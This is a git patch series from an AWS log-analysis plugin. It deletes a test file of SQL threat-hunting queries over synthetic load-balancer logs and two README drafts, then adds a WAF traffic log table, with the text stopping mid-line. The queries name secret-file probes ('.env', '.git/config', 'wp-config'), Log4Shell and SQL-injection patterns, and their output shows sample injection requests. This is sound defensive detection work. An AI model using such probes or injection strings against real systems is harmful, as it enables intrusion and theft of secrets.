client_ip, - COUNT(*) AS attempt_count, - STRING_AGG(sample_request, ', ') AS sample_requests - FROM ( - SELECT - client_ip, - request AS sample_request, - ROW_NUMBER() OVER (PARTITION BY client_ip ORDER BY request) AS row_num - FROM aws_alb_access_log - WHERE LOWER(request) LIKE '%admin%' - OR LOWER(request) LIKE '%config%' - OR LOWER(request) LIKE '%backup%' - OR LOWER(request) LIKE '%wp-login%' - OR LOWER(request) LIKE '%\.git%' - OR LOWER(request) LIKE '%\.env%' - ) AS filtered_requests - WHERE row_num <= 3 - GROUP BY client_ip - ORDER BY attempt_count DESC - LIMIT 10; -┌─────────────────┬───────────────┬────────────────────────────────┐ -│ client_ip │ attempt_count │ sample_requests │ -│ varchar │ int64 │ varchar │ -├─────────────────┼───────────────┼────────────────────────────────┤ -│ 113.200.10.162 │ 1 │ DELETE /admin/console HTTP/1.1 │ -│ 114.92.174.192 │ 1 │ GET /wp-admin HTTP/1.1 │ -│ 132.99.103.116 │ 1 │ GET /admin/console HTTP/1.1 │ -│ 164.150.124.249 │ 1 │ DELETE /admin/console HTTP/1.1 │ -│ 170.43.125.124 │ 1 │ DELETE /wp-admin HTTP/1.1 │ -│ 18.2.92.232 │ 1 │ POST /.git/config HTTP/1.1 │ -│ 186.129.248.225 │ 1 │ GET /admin/console HTTP/1.1 │ -│ 187.118.20.57 │ 1 │ GET /wp-admin HTTP/1.1 │ -│ 187.70.219.101 │ 1 │ GET /admin/console HTTP/1.1 │ -│ 190.108.8.160 │ 1 │ GET /.git/config HTTP/1.1 │ -├─────────────────┴───────────────┴────────────────────────────────┤ -│ 10 rows 3 columns │ -└──────────────────────────────────────────────────────────────────┘ - - SELECT - user_agent, - COUNT(*) AS request_count, - COUNT(DISTINCT client_ip) AS unique_ips, - STRING_AGG(sample_request, ', ') AS sample_requests - FROM ( - SELECT - user_agent, - client_ip, - request AS sample_request, - ROW_NUMBER() OVER (PARTITION BY user_agent ORDER BY request) AS row_num - FROM aws_alb_access_log - WHERE user_agent NOT LIKE '%Mozilla%' - AND user_agent NOT LIKE '%Chrome%' - AND user_agent NOT LIKE '%Safari%' - AND user_agent NOT LIKE '%Edge%' - AND user_agent NOT LIKE '%Firefox%' - ) AS filtered_requests - WHERE row_num <= 3 - GROUP BY user_agent - HAVING COUNT(*) > 5 - ORDER BY request_count DESC - LIMIT 10; -┌────────────┬───────────────┬────────────┬─────────────────┐ -│ user_agent │ request_count │ unique_ips │ sample_requests │ -│ varchar │ int64 │ int64 │ varchar │ -├────────────┴───────────────┴────────────┴─────────────────┤ -│ 0 rows │ -└───────────────────────────────────────────────────────────┘ - -SELECT - client_ip, - COUNT(DISTINCT sample_request) AS unique_paths, - COUNT(*) AS total_requests, - STRING_AGG(sample_request, ', ') AS sample_requests - FROM ( - SELECT - client_ip, - request AS sample_request, - ROW_NUMBER() OVER (PARTITION BY client_ip ORDER BY request) AS row_num - FROM aws_alb_access_log - WHERE request NOT LIKE '%.css' - AND request NOT LIKE '%.js' - AND request NOT LIKE '%.png' - AND request NOT LIKE '%.jpg' - ) AS filtered_requests - WHERE row_num <= 3 - GROUP BY client_ip - HAVING COUNT(DISTINCT sample_request) > 5 - ORDER BY unique_paths DESC - LIMIT 10; -┌───────────┬──────────────┬────────────────┬─────────────────┐ -│ client_ip │ unique_paths │ total_requests │ sample_requests │ -│ varchar │ int64 │ int64 │ varchar │ -├───────────┴──────────────┴────────────────┴─────────────────┤ -│ 0 rows │ -└─────────────────────────────────────────────────────────────┘ - -D SELECT - client_ip, - user_agent, - COUNT(*) AS attempt_count, - STRING_AGG(sample_request, ' | ') AS sample_requests, - MIN(timestamp) AS first_seen, - MAX(timestamp) AS last_seen - FROM ( - SELECT - client_ip, - user_agent, - request AS sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%UNION SELECT%' OR - request LIKE '%OR 1=1%' OR - request LIKE '%--\\%' OR - request LIKE '%'' OR ''%' - ) AS filtered_requests - WHERE row_num <= 3 - GROUP BY client_ip, user_agent - HAVING COUNT(*) > 1 - ORDER BY attempt_count DESC - LIMIT 10; -┌─────────────────┬──────────────────────┬───────────────┬──────────────────────────────┬────────────────────────────┬────────────────────────────┐ -│ client_ip │ user_agent │ attempt_count │ sample_requests │ first_seen │ last_seen │ -│ varchar │ varchar │ int64 │ varchar │ timestamp │ timestamp │ -├─────────────────┼──────────────────────┼───────────────┼──────────────────────────────┼────────────────────────────┼────────────────────────────┤ -│ 185.181.39.39 │ WhatWeb/0.5.5 │ 3 │ GET /search?q=1' UNION SEL… │ 2024-11-01 00:24:01.343922 │ 2024-11-01 00:48:04.63788 │ -│ 185.181.183.244 │ WhatWeb/0.5.5 │ 3 │ GET /api/products?category… │ 2024-11-01 00:24:42.481762 │ 2024-11-01 01:04:33.171301 │ -│ 185.181.147.41 │ Qualys SSL Assessm… │ 3 │ GET /api/products?category… │ 2024-11-01 00:57:01.760879 │ 2024-11-01 00:59:59.466732 │ -│ 185.181.95.188 │ zgrab/0.x │ 3 │ POST /search?q=1' UNION SE… │ 2024-11-01 00:52:06.183064 │ 2024-11-01 01:24:50.253022 │ -│ 193.27.228.135 │ subfinder/v2.5.5 │ 3 │ GET /api/products?category… │ 2024-11-01 02:12:02.011166 │ 2024-11-01 02:44:39.100384 │ -│ 185.181.21.23 │ Go-http-client/2.0 │ 3 │ POST /users?id=1 OR 1=1 HT… │ 2024-11-01 00:50:02.893712 │ 2024-11-01 01:09:09.166732 │ -│ 185.181.26.16 │ sqlmap/1.6.12 (htt… │ 3 │ GET /search?q=1' UNION SEL… │ 2024-11-01 00:09:58.759586 │ 2024-11-01 00:30:58.160239 │ -│ 45.155.205.16 │ Nuclei/2.9.1 (http… │ 3 │ GET /users?id=1 OR 1=1 HTT… │ 2024-11-01 02:25:33.955685 │ 2024-11-01 02:54:58.355605 │ -│ 185.181.129.31 │ Nmap Scripting Eng… │ 3 │ GET /users?id=1 OR 1=1 HTT… │ 2024-11-01 01:48:31.295923 │ 2024-11-01 02:19:46.078848 │ -│ 185.181.178.132 │ subfinder/v2.5.5 │ 3 │ POST /users?id=1 OR 1=1 HT… │ 2024-11-01 01:53:05.825775 │ 2024-11-01 02:35:30.717043 │ -├─────────────────┴──────────────────────┴───────────────┴──────────────────────────────┴────────────────────────────┴────────────────────────────┤ -│ 10 rows 6 columns │ -└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ - - - WITH suspicious_paths AS ( - SELECT - client_ip, - user_agent, - alb_name, - request as sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%actuator%' OR - request LIKE '%metrics%' OR - request LIKE '%phpinfo%' OR - request LIKE '%server-status%' OR - request LIKE '%jndi:ldap%' OR - request LIKE '%class.module.classLoader%' OR - request LIKE '%.env%' OR - request LIKE '%wp-config%' OR - request LIKE '%/debug%' - ) - SELECT - client_ip, - user_agent, - COUNT(DISTINCT alb_name) as albs_targeted, - COUNT(*) as total_probes, - STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, - STRING_AGG(sample_request, ' | ') as sample_requests, - MIN(timestamp) as first_seen, - MAX(timestamp) as last_seen, - EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins - FROM suspicious_paths - WHERE row_num <= 3 - GROUP BY client_ip, user_agent - HAVING - COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs - COUNT(*) >= 3 -- At least 3 probe attempts - ORDER BY albs_targeted DESC, total_probes DESC - LIMIT 10; -┌────────────────┬──────────────────────┬───────────────┬───┬──────────────────────┬──────────────────────┬──────────────────────┐ -│ client_ip │ user_agent │ albs_targeted │ … │ first_seen │ last_seen │ campaign_duration_… │ -│ varchar │ varchar │ int64 │ │ timestamp │ timestamp │ int64 │ -├────────────────┼──────────────────────┼───────────────┼───┼──────────────────────┼──────────────────────┼──────────────────────┤ -│ 45.155.205.109 │ subfinder/v2.5.5 │ 3 │ … │ 2024-11-01 01:28:3… │ 2024-11-01 02:50:4… │ 22 │ -│ 45.155.205.9 │ WhatWeb/0.5.5 │ 3 │ … │ 2024-11-01 00:04:1… │ 2024-11-01 01:41:2… │ 37 │ -│ 45.155.205.243 │ python-requests/2.… │ 3 │ … │ 2024-11-01 00:11:1… │ 2024-11-01 01:47:5… │ 36 │ -│ 45.155.205.66 │ subfinder/v2.5.5 │ 3 │ … │ 2024-11-01 00:03:2… │ 2024-11-01 00:32:1… │ 28 │ -│ 193.27.228.118 │ Go-http-client/2.0 │ 3 │ … │ 2024-11-01 00:23:1… │ 2024-11-01 02:18:0… │ 54 │ -│ 193.27.228.126 │ dirbuster/1.0-RC1 │ 3 │ … │ 2024-11-01 01:01:2… │ 2024-11-01 02:49:2… │ 47 │ -│ 193.27.228.71 │ python-requests/2.… │ 3 │ … │ 2024-11-01 00:55:2… │ 2024-11-01 02:09:0… │ 13 │ -│ 185.181.125.99 │ WhatWeb/0.5.5 │ 3 │ … │ 2024-11-01 00:30:5… │ 2024-11-01 02:02:2… │ 31 │ -│ 193.27.228.155 │ Nmap Scripting Eng… │ 3 │ … │ 2024-11-01 01:17:4… │ 2024-11-01 02:55:5… │ 38 │ -│ 45.155.205.44 │ nikto/2.1.6 │ 3 │ … │ 2024-11-01 01:04:2… │ 2024-11-01 02:26:4… │ 22 │ -├────────────────┴──────────────────────┴───────────────┴───┴──────────────────────┴──────────────────────┴──────────────────────┤ -│ 10 rows 9 columns (6 shown) │ -└────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ diff --git a/test/readme-chatgpt.md b/test/readme-chatgpt.md deleted file mode 100644 index ed0b7ff0..00000000 --- a/test/readme-chatgpt.md +++ /dev/null @@ -1,119 +0,0 @@ - -# `aws_alb_access_log` Table - Tailpipe Plugin - -The `aws_alb_access_log` table is a component of the Tailpipe plugin that enables SQL-based analysis of AWS ALB (Application Load Balancer) logs. Built on Tailpipe’s Plugin SDK, it uses the SDK's services to streamline data collection, parsing, and querying. This document covers the plugin's architecture, usage, and a detailed breakdown of the implementation files. - -## Overview - -The `aws_alb_access_log` table’s implementation is modular, with each file addressing a specific responsibility. This structure makes it easier to maintain, extend, and integrate new data sources. - -### Key Components - -1. **Data Collection and Parsing**: Extracts, parses, and structures log data into a format suitable for SQL querying. -2. **Configuration and Partitioning**: Allows customization of data sources and logical grouping of logs. -3. **SQL Query Interface**: Provides SQL-like syntax for analyzing data, enabling users to categorize, filter, and aggregate log entries efficiently. - -## Files and Their Roles - -The `aws_alb_access_log` table’s functionality is distributed across several files, each responsible for a distinct part of the implementation. - -### 1. `alb_generate.py` (Test Data Generator) - - **Purpose**: This script is used for generating synthetic test data in the format expected by the `aws_alb_access_log` table. This log data can be used to validate the table’s parsing logic, schema, and query capabilities. - - **Key Functions**: - - Generates log entries with simulated timestamps, IP addresses, HTTP methods, response codes, and user-agent strings. - - Ensures that test data matches the schema defined in the `aws_alb_access_log` table, supporting reliable testing and debugging. - -### 2. `aws_alb_access_log_config.hcl` (Configuration File) - - **Purpose**: Defines the plugin settings and log file paths for the `aws_alb_access_log` table. This HCL (HashiCorp Configuration Language) file specifies data source locations, file types, and partition names, allowing Tailpipe to locate and parse log files effectively. - - **Key Components**: - - **Partition Section**: Specifies partitions (or logical data groupings) for each set of logs. In this case, each `partition` block points to a file path for logs (e.g., `"alb_test"` partition pointing to a `.log` file). - - **Source Definition**: Indicates that the log data source is the filesystem, with file extensions restricted to `.log`. - - **Plugin Setting**: Associates the `aws_alb_access_log` table with the AWS plugin, enabling it to process and parse ALB log files specifically. - -### 3. `aws_alb_access_log_table.go` (Table Definition) - - **Purpose**: This Go file defines the schema and core logic for the `aws_alb_access_log` table. It specifies each column, data type, and parsing rule to structure raw log data into a standardized format. - - **Key Components**: - - **Schema Definition**: Lists each column (e.g., `user_agent`, `timestamp`, `client_ip`) along with its data type (e.g., `string`, `timestamp`). This schema is critical for querying since it maps each log field to a structured format. - - **Parsing Logic**: Implements functions that parse each log entry, extracting relevant fields and converting them into columns. For instance, it may parse `user_agent` strings to categorize the client type as `Mobile`, `Chrome`, `Firefox`, etc. - - **Type Mapping**: Maps each field from the raw logs to a specific SQL-compatible type, ensuring consistency and compatibility in queries. - -### 4. `aws_alb_access_log_parser.go` (Log Parsing Logic) - - **Purpose**: This file contains the core logic for parsing raw ALB log entries, breaking each entry into fields according to the AWS ALB log format. - - **Key Components**: - - **Field Extraction**: Implements functions that recognize and extract fields (e.g., `client_ip`, `method`, `path`, `status_code`) from each log line. - - **Pattern Matching**: Uses regular expressions or delimiter-based parsing to separate fields within each log entry. - - **Error Handling**: Accounts for incomplete or corrupted log lines, applying default values or skipping entries as necessary. - - **Normalization**: Normalizes data to standard formats (e.g., `timestamp` formats, IP addresses) for consistency across log entries. - -### 5. `aws_alb_access_log_test.go` (Unit Tests) - - **Purpose**: This file includes unit tests for the `aws_alb_access_log` table. It validates the functionality of data parsing, schema conformance, and ensures that each function behaves as expected. - - **Key Components**: - - **Schema Validation**: Verifies that log entries are parsed into the correct schema (e.g., all columns have the expected types). - - **Parsing Accuracy**: Checks the correctness of field extraction, ensuring each log entry’s data maps accurately to columns. - - **Error Scenarios**: Tests for edge cases like malformed log entries, missing fields, and unexpected data types to ensure the parser handles them gracefully. - -## Tailpipe Workflow: Collection and Query Phases - -Tailpipe operates in two main phases for processing log data: **collection** and **query**. - -### Collection Phase - -The collection phase is where Tailpipe extracts raw log data, converts it into a structured format, and stores it as Parquet files for efficient querying. Here’s how it works for the `aws_alb_access_log` table: - -1. **Source Definition**: The configuration file (`aws_alb_access_log_config.hcl`) defines the log source path, file extension, and partition metadata. -2. **Data Parsing**: `aws_alb_access_log_parser.go` parses each log entry according to the schema, converting fields like `user_agent` into SQL-compatible columns. -3. **Parquet Conversion**: Once parsed, data is stored in Parquet format, allowing for quick retrieval and reduced storage overhead. - - Example command to initiate data collection: - - ```bash - TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test - ``` - -### Query Phase - -The query phase enables SQL-based access to the data. Tailpipe’s SQL engine supports a variety of operations, including filtering, aggregation, and ordering. For instance, the following query categorizes requests by client type and counts them: - -```sql -SELECT - CASE - WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' - WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' - WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' - WHEN user_agent LIKE '%Safari%' THEN 'Safari' - WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' - ELSE 'Other' - END as client_type, - COUNT(*) as request_count -FROM aws_alb_access_log -GROUP BY client_type -ORDER BY request_count DESC; -``` - -### Example Output - -```plaintext -┌─────────────┬───────────────┐ -│ client_type │ request_count │ -├─────────────┼───────────────┤ -│ Other │ 6337 │ -│ Mobile │ 1842 │ -│ Chrome │ 1821 │ -└─────────────┴───────────────┘ -``` - -This output provides insights into the distribution of requests across client types, useful for identifying usage patterns. - -## Summary - -This `aws_alb_access_log` implementation is modular and efficient, providing flexible log analysis via SQL queries. Each file serves a specific role, from configuration and parsing to testing and schema management. This structure not only makes the table easy to use but also allows for quick adaptation to different data sources or query requirements. diff --git a/test/readme-claude.md b/test/readme-claude.md deleted file mode 100644 index 6a8044aa..00000000 --- a/test/readme-claude.md +++ /dev/null @@ -1,224 +0,0 @@ -# AWS ALB Access Log Table - Tailpipe Plugin - -The `aws_alb_access_log` table is a powerful component of the Tailpipe AWS plugin that enables SQL-based analysis of AWS Application Load Balancer (ALB) access logs. This table provides a structured way to query and analyze ALB logs, helping you understand traffic patterns, troubleshoot issues, and monitor application performance. - -## Features - -- **Full ALB Log Field Support**: Captures all ALB access log fields including request details, processing times, SSL information, and more -- **Automatic Type Conversion**: Handles parsing and conversion of fields into appropriate data types (timestamps, integers, etc.) -- **Enriched Fields**: Adds standardized fields like `tp_id`, `tp_timestamp`, and `tp_source_type` for consistent analysis -- **IP Address Analysis**: Extracts and standardizes both client and target IP addresses -- **Integration with AWS S3**: Directly reads ALB logs from S3 buckets where AWS stores them - -## Configuration - -### Plugin Configuration - -First, configure the AWS plugin in your Tailpipe configuration: - -```hcl -connection "aws" { - # Authentication (choose one method) - profile = "default" # Use AWS profile - access_key = "YOUR_ACCESS_KEY" # Or provide access key directly - secret_key = "YOUR_SECRET_KEY" # With secret key - - # Optional settings - default_region = "us-east-1" # Default AWS region - regions = ["us-east-1", "us-west-2"] # Multiple regions if needed -} -``` - -### Table Configuration - -Configure the ALB access log table source: - -```hcl -source "aws_alb_access_log" "production_logs" { - # S3 bucket where ALB logs are stored - bucket = "my-alb-logs" - - # Optional: Custom log format if not using default - log_format = "$type $timestamp $elb ..." - - # Optional: File pattern for specific log files - file_pattern = "AWSLogs/*/elasticloadbalancing/*/*" - - # Optional: Timezone for parsing timestamps - timezone = "UTC" -} -``` - -## Schema - -The table provides the following columns: - -### Standard Fields -| Column Name | Type | Description | -|------------|------|-------------| -| type | string | The type of request (typically 'http' or 'https') | -| timestamp | timestamp | When the request was received | -| alb_name | string | Name of the ALB | -| client_ip | string | Client's IP address | -| client_port | int | Client's port number | -| target_ip | string | Target instance IP | -| target_port | int | Target instance port | - -### Processing Times -| Column Name | Type | Description | -|------------|------|-------------| -| request_processing_time | float64 | Time from request received to sent to target | -| target_processing_time | float64 | Time target took to process request | -| response_processing_time | float64 | Time from receiving target response to sending to client | - -### Status and Bytes -| Column Name | Type | Description | -|------------|------|-------------| -| alb_status_code | int | HTTP status code from ALB | -| target_status_code | int | HTTP status code from target | -| received_bytes | int64 | Number of bytes received from client | -| sent_bytes | int64 | Number of bytes sent to client | - -### SSL/TLS Information -| Column Name | Type | Description | -|------------|------|-------------| -| ssl_cipher | string | SSL cipher used | -| ssl_protocol | string | SSL protocol version | -| chosen_cert_arn | string | ARN of the certificate used | - -### Request Details -| Column Name | Type | Description | -|------------|------|-------------| -| request | string | HTTP request line | -| user_agent | string | Client's user agent | -| domain_name | string | Requested domain name | -| target_group_arn | string | ARN of the target group | - -## Example Queries - -### 1. Monitor Response Times - -Find slow requests (>5s total processing time): -```sql -SELECT - timestamp, - client_ip, - request, - request_processing_time + target_processing_time + response_processing_time as total_time, - alb_status_code -FROM - aws_alb_access_log -WHERE - (request_processing_time + target_processing_time + response_processing_time) > 5 -ORDER BY - total_time DESC -LIMIT 10; -``` - -### 2. Analyze Error Rates - -Calculate error rates by target group: -```sql -SELECT - target_group_arn, - COUNT(*) as total_requests, - SUM(CASE WHEN alb_status_code >= 500 THEN 1 ELSE 0 END) as error_count, - ROUND(100.0 * SUM(CASE WHEN alb_status_code >= 500 THEN 1 ELSE 0 END) / COUNT(*), 2) as error_rate -FROM - aws_alb_access_log -GROUP BY - target_group_arn -ORDER BY - error_rate DESC; -``` - -### 3. Traffic Analysis - -View requests by hour: -```sql -SELECT - DATE_TRUNC('hour', timestamp) as hour, - COUNT(*) as requests, - SUM(sent_bytes + received_bytes) / (1024*1024) as total_mb -FROM - aws_alb_access_log -GROUP BY - hour -ORDER BY - hour; -``` - -## Enrichment Fields - -The table automatically adds several enrichment fields: - -| Field | Description | -|-------|-------------| -| tp_id | Unique identifier for each log entry | -| tp_timestamp | Normalized timestamp in Unix milliseconds | -| tp_source_type | Always "aws_alb_access_log" | -| tp_source_ip | Client IP address | -| tp_destination_ip | Target IP address | -| tp_ips | Array of all IPs in the log entry | -| tp_domains | Array of domain names from the request | - -## Troubleshooting - -### Common Issues - -1. **Missing Fields**: If certain fields are consistently null, verify your ALB logging configuration includes all desired fields. - -2. **Parsing Errors**: If you see parse errors: - - Check the log format matches ALB's output - - Verify timezone settings - - Ensure log files aren't corrupted - -3. **Performance Issues**: For large log sets: - - Use appropriate time-based filters - - Consider partitioning data - - Index frequently queried columns - -### Debugging - -Enable debug logging for more detailed information: - -```bash -TAILPIPE_LOG_LEVEL=debug tailpipe collect aws_alb_access_log.production_logs -``` - -## Best Practices - -1. **Data Management** - - Regularly archive old logs - - Use appropriate S3 lifecycle policies - - Consider compressing logs - -2. **Query Optimization** - - Filter by date ranges when possible - - Use appropriate indexes - - Avoid SELECT * for large datasets - -3. **Monitoring** - - Set up alerts for high error rates - - Monitor response times - - Track resource usage - -## Contributing - -Contributions are welcome! Please follow these steps: - -1. Fork the repository -2. Create a feature branch -3. Add your changes -4. Submit a pull request - -## License - -This plugin is licensed under [appropriate license] - -## Support - -For issues and questions: -- GitHub Issues: [link to issues] -- Documentation: [link to docs] -- Community Forum: [link to forum] \ No newline at end of file From f480fa0841d017c1b1f8b7279dbca0ee774a00c7 Mon Sep 17 00:00:00 2001 From: Ved misra <47312748+misraved@users.noreply.github.com> Date: Thu, 7 Nov 2024 18:38:20 +0700 Subject: [PATCH 069/180] Add aws_waf_traffic_log table (#10) --- aws/plugin.go | 1 + mappers/flowlog_mapper.go | 2 +- mappers/waf_mapper.go | 45 +++++++++++ rows/vpc_flow_log_test.go | 49 ------------ rows/waf_traffic_log.go | 42 ++++++++++ tables/waf_traffic_log_table.go | 106 +++++++++++++++++++++++++ tables/waf_traffic_log_table_config.go | 7 ++ 7 files changed, 202 insertions(+), 50 deletions(-) create mode 100644 mappers/waf_mapper.go delete mode 100644 rows/vpc_flow_log_test.go create mode 100644 rows/waf_traffic_log.go create mode 100644 tables/waf_traffic_log_table.go create mode 100644 tables/waf_traffic_log_table_config.go diff --git a/aws/plugin.go b/aws/plugin.go index e2d15a83..1a462ebd 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -31,6 +31,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewElbAccessLogTable, tables.NewS3ServerAccessLogTable, tables.NewLambdaLogTable, + tables.NewWafTrafficLogTable, tables.NewAlbAccessLogTable, }, } diff --git a/mappers/flowlog_mapper.go b/mappers/flowlog_mapper.go index f0533aaf..3f150ee1 100644 --- a/mappers/flowlog_mapper.go +++ b/mappers/flowlog_mapper.go @@ -32,7 +32,7 @@ func (c *VpcFlowlogMapper) Identifier() string { func (c *VpcFlowlogMapper) Map(_ context.Context, a any) ([]*rows.VpcFlowLog, error) { rowString, ok := a.(string) if !ok { - return nil, fmt.Errorf("expectedstring, got %T", a) + return nil, fmt.Errorf("expected string, got %T", a) } fields := strings.Fields(rowString) diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go new file mode 100644 index 00000000..f679616d --- /dev/null +++ b/mappers/waf_mapper.go @@ -0,0 +1,45 @@ +package mappers + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +type WafMapper struct { +} + +// NewWafMapper creates a new WafMapper +func NewWafMapper() table.Mapper[rows.WafTrafficLog] { + return &WafMapper{} +} + +func (c *WafMapper) Identifier() string { + return "waf_mapper" +} + +func (c *WafMapper) Map(_ context.Context, a any) ([]rows.WafTrafficLog, error) { + var jsonBytes []byte + + switch v := a.(type) { + case []byte: + jsonBytes = v + case string: + jsonBytes = []byte(v) + default: + return nil, fmt.Errorf("expected byte[] or string, got %T", a) + } + + // decode JSON into WafTrafficLog + var log rows.WafTrafficLog + err := json.Unmarshal(jsonBytes, &log) + if err != nil { + return nil, fmt.Errorf("error decoding JSON: %w; partial log: %+v", err, log) + } + + return []rows.WafTrafficLog{log}, nil +} + diff --git a/rows/vpc_flow_log_test.go b/rows/vpc_flow_log_test.go deleted file mode 100644 index a6573de7..00000000 --- a/rows/vpc_flow_log_test.go +++ /dev/null @@ -1,49 +0,0 @@ -package rows - -import ( - "github.com/turbot/pipe-fittings/utils" - "reflect" - "testing" -) - -func TestFlowLogFromString(t *testing.T) { - type args struct { - rowString string - schema []string - } - tests := []struct { - name string - args args - want *VpcFlowLog - wantErr bool - }{ - { - name: "Test FlowLogFromString", - args: args{ - rowString: "2 123456789012 eni-1235b8ca", - schema: []string{ - "version", - "account-id", - "interface-id", - }, - }, - want: &VpcFlowLog{ - Version: utils.ToPointer[int32](2), - AccountID: utils.ToStringPointer("123456789012"), - InterfaceID: utils.ToStringPointer("eni-1235b8ca"), - }, - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got, err := FlowLogFromString(tt.args.rowString, tt.args.schema) - if (err != nil) != tt.wantErr { - t.Errorf("FlowLogFromString() error = %v, wantErr %v", err, tt.wantErr) - return - } - if !reflect.DeepEqual(got, tt.want) { - t.Errorf("FlowLogFromString() got = %v, want %v", got, tt.want) - } - }) - } -} diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go new file mode 100644 index 00000000..304eb838 --- /dev/null +++ b/rows/waf_traffic_log.go @@ -0,0 +1,42 @@ +package rows + +import ( + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" +) + +// Define a nested struct for httpRequest headers +type Header struct { + Name string `json:"name,omitempty"` + Value string `json:"value,omitempty"` +} + +// Define a nested struct for the httpRequest field +type HttpRequest struct { + ClientIp *string `json:"client_ip,omitempty"` + Country *string `json:"country,omitempty"` + Headers *helpers.JSONString `json:"headers,omitempty"` + Uri *string `json:"uri,omitempty"` + Args *string `json:"args,omitempty"` + HttpVersion *string `json:"http_version,omitempty"` + HttpMethod *string `json:"http_method,omitempty"` + RequestId *string `json:"request_id,omitempty"` +} + +// WafTrafficLog struct with fields aligned to the provided JSON +type WafTrafficLog struct { + enrichment.CommonFields + + Timestamp *int64 `json:"timestamp,omitempty"` + FormatVersion *int32 `json:"format_version,omitempty"` + WebAclId *string `json:"web_acl_id,omitempty"` + TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` + TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` + Action *string `json:"action,omitempty"` + HttpSourceName *string `json:"http_source_name,omitempty"` + HttpSourceId *string `json:"http_source_id,omitempty"` + RuleGroupList []string `json:"rule_group_list,omitempty"` + RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` + NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` + HttpRequest *helpers.JSONString `json:"http_request,omitempty"` +} diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go new file mode 100644 index 00000000..a41d8a99 --- /dev/null +++ b/tables/waf_traffic_log_table.go @@ -0,0 +1,106 @@ +package tables + +import ( + "context" + "strings" + "time" + + "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// WafTrafficLogTable - table for Waf traffic logs +type WafTrafficLogTable struct { + // all tables must embed table.TableImpl + table.TableImpl[rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] +} + +func NewWafTrafficLogTable() table.Table { + return &WafTrafficLogTable{} +} + +func (c *WafTrafficLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *WafTrafficLogTable) initMapper() { + // TODO switch on source + + // if the source is an artifact source, we need a mapper + c.Mapper = mappers.NewWafMapper() +} + +// Identifier implements table.Table +func (c *WafTrafficLogTable) Identifier() string { + return "aws_waf_traffic_log" +} + +// GetSourceOptions returns any options which should be passed to the given source type +func (c *WafTrafficLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { + var opts []row_source.RowSourceOption + + switch sourceType { + case artifact_source.AwsS3BucketSourceIdentifier: + // the default file layout for Waf traffic logs in S3 + defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ + // TODO #config finalise default Waf traffic file layout + FileLayout: utils.ToStringPointer("waf-access-log-sample_(?P\\d{4})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2})(?P\\d{2}).gz"), + } + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) + } + + return opts +} + +// GetRowSchema implements table.Table +func (c *WafTrafficLogTable) GetRowSchema() any { + return rows.WafTrafficLog{} +} + +func (c *WafTrafficLogTable) GetConfigSchema() parse.Config { + return &WafTrafficLogTableConfig{} +} + +// EnrichRow implements table.Table +func (c *WafTrafficLogTable) EnrichRow(row rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.WafTrafficLog, error) { + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + row.CommonFields = *sourceEnrichmentFields + } + + // Record standardization + row.TpID = xid.New().String() + row.TpSourceType = "aws_waf_traffic_log" + row.TpTimestamp = helpers.UnixMillis(*row.Timestamp) + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + + // Hive fields + // Check if row.HttpSourceId is not nil before dereferencing + if row.HttpSourceId != nil { + row.TpIndex = strings.ReplaceAll(*row.HttpSourceId, "/", `_`) + } else { + // Handle the case where HttpSourceId is nil, if needed + row.TpIndex = "" // or assign a default value if desired + } + // convert to date in format yy-mm-dd + row.TpDate = 